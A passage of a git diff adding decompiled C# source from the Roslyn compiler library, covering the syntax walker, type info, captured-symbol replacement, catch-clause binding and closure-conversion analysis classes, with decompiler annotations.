VisitUndefDirectiveTrivia(UndefDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLineDirectiveTrivia(LineDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLineDirectivePosition(LineDirectivePositionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLineSpanDirectiveTrivia(LineSpanDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPragmaWarningDirectiveTrivia(PragmaWarningDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPragmaChecksumDirectiveTrivia(PragmaChecksumDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitReferenceDirectiveTrivia(ReferenceDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLoadDirectiveTrivia(LoadDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitShebangDirectiveTrivia(ShebangDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitNullableDirectiveTrivia(NullableDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxWalker.cs new file mode 100644 index 0000000..53159bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxWalker.cs @@ -0,0 +1,125 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +public abstract class CSharpSyntaxWalker : CSharpSyntaxVisitor +{ + private int _recursionDepth; + + protected SyntaxWalkerDepth Depth { get; } + + protected CSharpSyntaxWalker(SyntaxWalkerDepth depth = (SyntaxWalkerDepth)0) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + Depth = depth; + } + + public override void Visit(SyntaxNode? node) + { + if (node != null) + { + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + ((CSharpSyntaxNode)(object)node).Accept(this); + _recursionDepth--; + } + } + + public override void DefaultVisit(SyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + ChildSyntaxList val = node.ChildNodesAndTokens(); + int count = ((ChildSyntaxList)(ref val)).Count; + int num = 0; + do + { + SyntaxNodeOrToken val2 = ChildSyntaxList.ItemInternal((SyntaxNode)(object)(CSharpSyntaxNode)(object)node, num); + num++; + SyntaxNode val3 = ((SyntaxNodeOrToken)(ref val2)).AsNode(); + if (val3 != null) + { + if ((int)Depth >= 0) + { + Visit(val3); + } + } + else if ((int)Depth >= 1) + { + VisitToken(((SyntaxNodeOrToken)(ref val2)).AsToken()); + } + } + while (num < count); + } + + public virtual void VisitToken(SyntaxToken token) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if ((int)Depth >= 2) + { + VisitLeadingTrivia(token); + VisitTrailingTrivia(token); + } + } + + public virtual void VisitLeadingTrivia(SyntaxToken token) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxToken)(ref token)).HasLeadingTrivia) + { + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref token)).LeadingTrivia; + Enumerator enumerator = ((SyntaxTriviaList)(ref leadingTrivia)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + VisitTrivia(current); + } + } + } + + public virtual void VisitTrailingTrivia(SyntaxToken token) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxToken)(ref token)).HasTrailingTrivia) + { + SyntaxTriviaList trailingTrivia = ((SyntaxToken)(ref token)).TrailingTrivia; + Enumerator enumerator = ((SyntaxTriviaList)(ref trailingTrivia)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + VisitTrivia(current); + } + } + } + + public virtual void VisitTrivia(SyntaxTrivia trivia) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)Depth >= 3 && ((SyntaxTrivia)(ref trivia)).HasStructure) + { + Visit((SyntaxNode?)(object)(CSharpSyntaxNode)(object)((SyntaxTrivia)(ref trivia)).GetStructure()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpTypeInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpTypeInfo.cs new file mode 100644 index 0000000..c905be9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpTypeInfo.cs @@ -0,0 +1,71 @@ +using System; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct CSharpTypeInfo : IEquatable +{ + internal static readonly CSharpTypeInfo None = new CSharpTypeInfo(null, null, default(NullabilityInfo), default(NullabilityInfo), Conversion.Identity); + + public readonly TypeSymbol Type; + + public readonly NullabilityInfo Nullability; + + public readonly TypeSymbol ConvertedType; + + public readonly NullabilityInfo ConvertedNullability; + + public readonly Conversion ImplicitConversion; + + internal CSharpTypeInfo(TypeSymbol type, TypeSymbol convertedType, NullabilityInfo nullability, NullabilityInfo convertedNullability, Conversion implicitConversion) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + Type = type.GetNonErrorGuess() ?? type; + ConvertedType = convertedType.GetNonErrorGuess() ?? convertedType; + Nullability = nullability; + ConvertedNullability = convertedNullability; + ImplicitConversion = implicitConversion; + } + + public static implicit operator TypeInfo(CSharpTypeInfo info) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + return new TypeInfo(info.Type?.GetITypeSymbol(NullableFlowStateExtensions.ToAnnotation(((NullabilityInfo)(ref info.Nullability)).FlowState)), info.ConvertedType?.GetITypeSymbol(NullableFlowStateExtensions.ToAnnotation(((NullabilityInfo)(ref info.ConvertedNullability)).FlowState)), info.Nullability, info.ConvertedNullability); + } + + public override bool Equals(object obj) + { + if (obj is CSharpTypeInfo) + { + return Equals((CSharpTypeInfo)obj); + } + return false; + } + + public bool Equals(CSharpTypeInfo other) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (ImplicitConversion.Equals(other.ImplicitConversion) && TypeSymbol.Equals(Type, other.Type, (TypeCompareKind)0) && TypeSymbol.Equals(ConvertedType, other.ConvertedType, (TypeCompareKind)0) && ((NullabilityInfo)(ref Nullability)).Equals(other.Nullability)) + { + return ((NullabilityInfo)(ref ConvertedNullability)).Equals(other.ConvertedNullability); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ConvertedType, Hash.Combine(Type, Hash.Combine(((object)Unsafe.As(ref Nullability)/*cast due to constrained. prefix*/).GetHashCode(), Hash.Combine(((object)Unsafe.As(ref ConvertedNullability)/*cast due to constrained. prefix*/).GetHashCode(), ImplicitConversion.GetHashCode())))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CallingConventionInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CallingConventionInfo.cs new file mode 100644 index 0000000..29b8535 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CallingConventionInfo.cs @@ -0,0 +1,11 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct CallingConventionInfo(CallingConvention callKind, ImmutableHashSet unmanagedCallingConventionTypes) +{ + internal readonly CallingConvention CallKind = callKind; + + internal readonly ImmutableHashSet? UnmanagedCallingConventionTypes = unmanagedCallingConventionTypes; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedSymbolReplacement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedSymbolReplacement.cs new file mode 100644 index 0000000..807c847 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedSymbolReplacement.cs @@ -0,0 +1,16 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class CapturedSymbolReplacement +{ + public readonly bool IsReusable; + + public CapturedSymbolReplacement(bool isReusable) + { + IsReusable = isReusable; + } + + public abstract BoundExpression Replacement(SyntaxNode node, Func makeFrame); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToExpressionSymbolReplacement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToExpressionSymbolReplacement.cs new file mode 100644 index 0000000..ae62e81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToExpressionSymbolReplacement.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CapturedToExpressionSymbolReplacement : CapturedSymbolReplacement +{ + private readonly BoundExpression _replacement; + + public readonly ImmutableArray HoistedFields; + + public CapturedToExpressionSymbolReplacement(BoundExpression replacement, ImmutableArray hoistedFields, bool isReusable) + : base(isReusable) + { + _replacement = replacement; + HoistedFields = hoistedFields; + } + + public override BoundExpression Replacement(SyntaxNode node, Func makeFrame) + { + return _replacement; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToFrameSymbolReplacement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToFrameSymbolReplacement.cs new file mode 100644 index 0000000..cc8d89d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToFrameSymbolReplacement.cs @@ -0,0 +1,22 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CapturedToFrameSymbolReplacement : CapturedSymbolReplacement +{ + public readonly LambdaCapturedVariable HoistedField; + + public CapturedToFrameSymbolReplacement(LambdaCapturedVariable hoistedField, bool isReusable) + : base(isReusable) + { + HoistedField = hoistedField; + } + + public override BoundExpression Replacement(SyntaxNode node, Func makeFrame) + { + BoundExpression boundExpression = makeFrame(HoistedField.ContainingType); + FieldSymbol fieldSymbol = HoistedField.AsMember((NamedTypeSymbol)boundExpression.Type); + return new BoundFieldAccess(node, boundExpression, fieldSymbol, null); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToStateMachineFieldReplacement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToStateMachineFieldReplacement.cs new file mode 100644 index 0000000..4898822 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CapturedToStateMachineFieldReplacement.cs @@ -0,0 +1,22 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CapturedToStateMachineFieldReplacement : CapturedSymbolReplacement +{ + public readonly StateMachineFieldSymbol HoistedField; + + public CapturedToStateMachineFieldReplacement(StateMachineFieldSymbol hoistedField, bool isReusable) + : base(isReusable) + { + HoistedField = hoistedField; + } + + public override BoundExpression Replacement(SyntaxNode node, Func makeFrame) + { + BoundExpression boundExpression = makeFrame(HoistedField.ContainingType); + FieldSymbol fieldSymbol = HoistedField.AsMember((NamedTypeSymbol)boundExpression.Type); + return new BoundFieldAccess(node, boundExpression, fieldSymbol, null); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CatchClauseBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CatchClauseBinder.cs new file mode 100644 index 0000000..98719b6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CatchClauseBinder.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CatchClauseBinder : LocalScopeBinder +{ + private readonly CatchClauseSyntax _syntax; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_syntax; + + public CatchClauseBinder(Binder enclosing, CatchClauseSyntax syntax) + : base(enclosing, (BinderFlags)((uint)(enclosing.Flags | BinderFlags.InCatchBlock) & 0xFFDFFFFFu)) + { + _syntax = syntax; + } + + protected override ImmutableArray BuildLocals() + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CatchDeclarationSyntax declaration = _syntax.Declaration; + if (declaration != null && declaration.Identifier.Kind() != SyntaxKind.None) + { + instance.Add((LocalSymbol)SourceLocalSymbol.MakeLocal(ContainingMemberOrLambda, this, allowRefKind: false, allowScoped: false, declaration.Type, declaration.Identifier, LocalDeclarationKind.CatchVariable, null)); + } + if (_syntax.Filter != null) + { + ExpressionVariableFinder.FindExpressionVariables(this, instance, _syntax.Filter.FilterExpression, null); + } + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)_syntax == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/CatchClauseBinder.cs", 52); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/CatchClauseBinder.cs", 57); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClosureConversion.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClosureConversion.cs new file mode 100644 index 0000000..7c0b186 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClosureConversion.cs @@ -0,0 +1,2049 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ClosureConversion : MethodToClassRewriter +{ + internal sealed class Analysis : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + [DebuggerDisplay("{ToString(), nq}")] + public sealed class Scope + { + public readonly Scope Parent; + + public readonly ArrayBuilder NestedScopes = ArrayBuilder.GetInstance(); + + public readonly ArrayBuilder NestedFunctions = ArrayBuilder.GetInstance(); + + public readonly SetWithInsertionOrder DeclaredVariables = new SetWithInsertionOrder(); + + public readonly BoundNode BoundNode; + + public readonly NestedFunction ContainingFunctionOpt; + + public ClosureEnvironment? DeclaredEnvironment; + + public bool CanMergeWithParent { get; internal set; } = true; + + public Scope(Scope parent, BoundNode boundNode, NestedFunction containingFunction) + { + Parent = parent; + BoundNode = boundNode; + ContainingFunctionOpt = containingFunction; + } + + public void Free() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = NestedScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Free(); + } + NestedScopes.Free(); + Enumerator enumerator2 = NestedFunctions.GetEnumerator(); + while (enumerator2.MoveNext()) + { + enumerator2.Current.Free(); + } + NestedFunctions.Free(); + } + + public override string ToString() + { + return ((object)BoundNode.Syntax.GetText((Encoding)null, (SourceHashAlgorithm)1)).ToString(); + } + } + + public sealed class NestedFunction + { + public readonly MethodSymbol OriginalMethodSymbol; + + public readonly SyntaxReference BlockSyntax; + + public readonly PooledHashSet CapturedVariables = PooledHashSet.GetInstance(); + + public readonly ArrayBuilder CapturedEnvironments = ArrayBuilder.GetInstance(); + + public ClosureEnvironment ContainingEnvironmentOpt; + + private bool _capturesThis; + + public SynthesizedClosureMethod SynthesizedLoweredMethod; + + public bool CapturesThis + { + get + { + return _capturesThis; + } + set + { + _capturesThis = value; + } + } + + public NestedFunction(MethodSymbol symbol, SyntaxReference blockSyntax) + { + OriginalMethodSymbol = symbol; + BlockSyntax = blockSyntax; + } + + public void Free() + { + CapturedVariables.Free(); + CapturedEnvironments.Free(); + } + } + + public sealed class ClosureEnvironment + { + public readonly SetWithInsertionOrder CapturedVariables; + + public bool CapturesParent; + + public readonly bool IsStruct; + + internal SynthesizedClosureEnvironment SynthesizedEnvironment; + + public ClosureEnvironment(IEnumerable capturedVariables, bool isStruct) + { + CapturedVariables = new SetWithInsertionOrder(); + foreach (Symbol capturedVariable in capturedVariables) + { + CapturedVariables.Add(capturedVariable); + } + IsStruct = isStruct; + } + } + + private class ScopeTreeBuilder : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private Scope _currentScope; + + private NestedFunction _currentFunction; + + private bool _inExpressionTree; + + private readonly SmallDictionary _localToScope = new SmallDictionary(); + + private readonly MethodSymbol _topLevelMethod; + + private readonly HashSet _methodsConvertedToDelegates; + + private readonly DiagnosticBag _diagnostics; + + private readonly PooledDictionary> _scopesAfterLabel = PooledDictionary>.GetInstance(); + + private readonly ArrayBuilder> _labelsInScope = ArrayBuilder>.GetInstance(); + + private ScopeTreeBuilder(Scope rootScope, MethodSymbol topLevelMethod, HashSet methodsConvertedToDelegates, DiagnosticBag diagnostics) + { + _currentScope = rootScope; + ArrayBuilderExtensions.Push>(_labelsInScope, ArrayBuilder.GetInstance()); + _topLevelMethod = topLevelMethod; + _methodsConvertedToDelegates = methodsConvertedToDelegates; + _diagnostics = diagnostics; + } + + public static Scope Build(BoundNode node, MethodSymbol topLevelMethod, HashSet methodsConvertedToDelegates, DiagnosticBag diagnostics) + { + Scope scope = new Scope(null, node, null); + new ScopeTreeBuilder(scope, topLevelMethod, methodsConvertedToDelegates, diagnostics).Build(); + return scope; + } + + private void Build() + { + DeclareLocals(_currentScope, _topLevelMethod.Parameters); + if (_topLevelMethod.TryGetThisParameter(out var thisParameter) && (object)thisParameter != null) + { + DeclareLocals(_currentScope, ImmutableArray.Create((Symbol)thisParameter)); + } + Visit(_currentScope.BoundNode); + foreach (ArrayBuilder value in ((Dictionary>)(object)_scopesAfterLabel).Values) + { + value.Free(); + } + _scopesAfterLabel.Free(); + ArrayBuilderExtensions.Pop>(_labelsInScope).Free(); + _labelsInScope.Free(); + } + + public override BoundNode VisitMethodGroup(BoundMethodGroup node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.Analysis.Tree.cs", 396); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + Scope currentScope = _currentScope; + PushOrReuseScope(node, node.Locals); + BoundNode? result = base.VisitBlock(node); + PopScope(currentScope); + return result; + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + Scope currentScope = _currentScope; + PushOrReuseScope(node, node.Locals); + BoundNode? result = base.VisitCatchBlock(node); + PopScope(currentScope); + return result; + } + + public override BoundNode VisitSequence(BoundSequence node) + { + Scope currentScope = _currentScope; + PushOrReuseScope(node, node.Locals); + BoundNode? result = base.VisitSequence(node); + PopScope(currentScope); + return result; + } + + public override BoundNode VisitLambda(BoundLambda node) + { + bool inExpressionTree = _inExpressionTree; + _inExpressionTree |= node.Type.IsExpressionTree(); + _methodsConvertedToDelegates.Add(node.Symbol.OriginalDefinition); + BoundNode? result = VisitNestedFunction(node.Symbol, node.Body); + _inExpressionTree = inExpressionTree; + return result; + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + return VisitNestedFunction(node.Symbol.OriginalDefinition, node.Body); + } + + protected override void VisitArguments(BoundCall node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)node.Method.MethodKind == 17) + { + AddIfCaptured(node.Method.OriginalDefinition, node.Syntax); + } + base.VisitArguments(node); + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + MethodSymbol? methodOpt = node.MethodOpt; + if ((object)methodOpt != null && (int)methodOpt.MethodKind == 17) + { + MethodSymbol originalDefinition = node.MethodOpt.OriginalDefinition; + AddIfCaptured(originalDefinition, node.Syntax); + _methodsConvertedToDelegates.Add(originalDefinition); + } + return base.VisitDelegateCreationExpression(node); + } + + public override BoundNode VisitParameter(BoundParameter node) + { + AddIfCaptured(node.ParameterSymbol, node.Syntax); + return base.VisitParameter(node); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + AddIfCaptured(node.LocalSymbol, node.Syntax); + return base.VisitLocal(node); + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + AddIfCaptured(_topLevelMethod.ThisParameter, node.Syntax); + return base.VisitBaseReference(node); + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + ParameterSymbol thisParameter = _topLevelMethod.ThisParameter; + if (thisParameter != null) + { + AddIfCaptured(thisParameter, node.Syntax); + } + return base.VisitThisReference(node); + } + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + ArrayBuilderExtensions.Peek>(_labelsInScope).Add(node.Label); + ((Dictionary>)(object)_scopesAfterLabel).Add(node.Label, ArrayBuilder.GetInstance()); + return base.VisitLabelStatement(node); + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + CheckCanMergeWithParent(node.Label); + return base.VisitGotoStatement(node); + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + CheckCanMergeWithParent(node.Label); + return base.VisitConditionalGoto(node); + } + + private void CheckCanMergeWithParent(LabelSymbol jumpTarget) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (((Dictionary>)(object)_scopesAfterLabel).TryGetValue(jumpTarget, out ArrayBuilder value)) + { + Enumerator enumerator = value.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.CanMergeWithParent = false; + } + value.Clear(); + } + } + + private BoundNode? VisitNestedFunction(MethodSymbol functionSymbol, BoundBlock? body) + { + if (body == null) + { + _currentScope.NestedFunctions.Add(new NestedFunction(functionSymbol, null)); + return null; + } + NestedFunction nestedFunction = new NestedFunction(functionSymbol, body.Syntax.GetReference()); + _currentScope.NestedFunctions.Add(nestedFunction); + NestedFunction currentFunction = _currentFunction; + _currentFunction = nestedFunction; + Scope currentScope = _currentScope; + CreateAndPushScope(body); + DeclareLocals(_currentScope, functionSymbol.Parameters, _inExpressionTree); + BoundNode result = (_inExpressionTree ? base.VisitBlock(body) : VisitBlock(body)); + PopScope(currentScope); + _currentFunction = currentFunction; + return result; + } + + private void AddIfCaptured(Symbol symbol, SyntaxNode syntax) + { + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Invalid comparison between Unknown and I4 + if (_currentFunction == null || symbol is LocalSymbol { IsConst: not false } || (symbol is MethodSymbol methodSymbol && _currentFunction.OriginalMethodSymbol == methodSymbol) || !(symbol.ContainingSymbol != _currentFunction.OriginalMethodSymbol)) + { + return; + } + AddDiagnosticIfRestrictedType(symbol, syntax); + Scope scope = _currentScope; + NestedFunction nestedFunction = _currentFunction; + while (nestedFunction != null && symbol.ContainingSymbol != nestedFunction.OriginalMethodSymbol) + { + ((HashSet)(object)nestedFunction.CapturedVariables).Add(symbol); + while (scope.ContainingFunctionOpt == nestedFunction) + { + scope = scope.Parent; + } + nestedFunction = scope.ContainingFunctionOpt; + } + Scope scope2 = default(Scope); + if ((int)symbol.Kind != 9 && _localToScope.TryGetValue(symbol, ref scope2)) + { + scope2.DeclaredVariables.Add(symbol); + } + } + + private void AddDiagnosticIfRestrictedType(Symbol capturedVariable, SyntaxNode syntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + SymbolKind kind = capturedVariable.Kind; + TypeSymbol type; + if ((int)kind != 8) + { + if ((int)kind != 13) + { + return; + } + type = ((ParameterSymbol)capturedVariable).Type; + } + else + { + type = ((LocalSymbol)capturedVariable).Type; + } + if (type.IsRestrictedType()) + { + _diagnostics.Add(ErrorCode.ERR_SpecialByRefInLambda, syntax.Location, type); + } + } + + private void PushOrReuseScope(BoundNode node, ImmutableArray locals) where TSymbol : Symbol + { + if (!locals.IsEmpty && _currentScope.BoundNode != node) + { + CreateAndPushScope(node); + } + DeclareLocals(_currentScope, locals); + } + + private void CreateAndPushScope(BoundNode node) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + Scope scope = CreateNestedScope(_currentScope, _currentFunction); + Enumerator enumerator = ArrayBuilderExtensions.Peek>(_labelsInScope).GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol current = enumerator.Current; + ((Dictionary>)(object)_scopesAfterLabel)[current].Add(scope); + } + ArrayBuilderExtensions.Push>(_labelsInScope, ArrayBuilder.GetInstance()); + _currentScope = scope; + Scope CreateNestedScope(Scope parentScope, NestedFunction currentFunction) + { + Scope scope2 = new Scope(parentScope, node, currentFunction); + parentScope.NestedScopes.Add(scope2); + return scope2; + } + } + + private void PopScope(Scope scope) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if (scope != _currentScope) + { + ArrayBuilder val = ArrayBuilderExtensions.Pop>(_labelsInScope); + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol current = enumerator.Current; + ((Dictionary>)(object)_scopesAfterLabel)[current].Free(); + ((Dictionary>)(object)_scopesAfterLabel).Remove(current); + } + val.Free(); + _currentScope = _currentScope.Parent; + } + } + + private void DeclareLocals(Scope scope, ImmutableArray locals, bool declareAsFree = false) where TSymbol : Symbol + { + 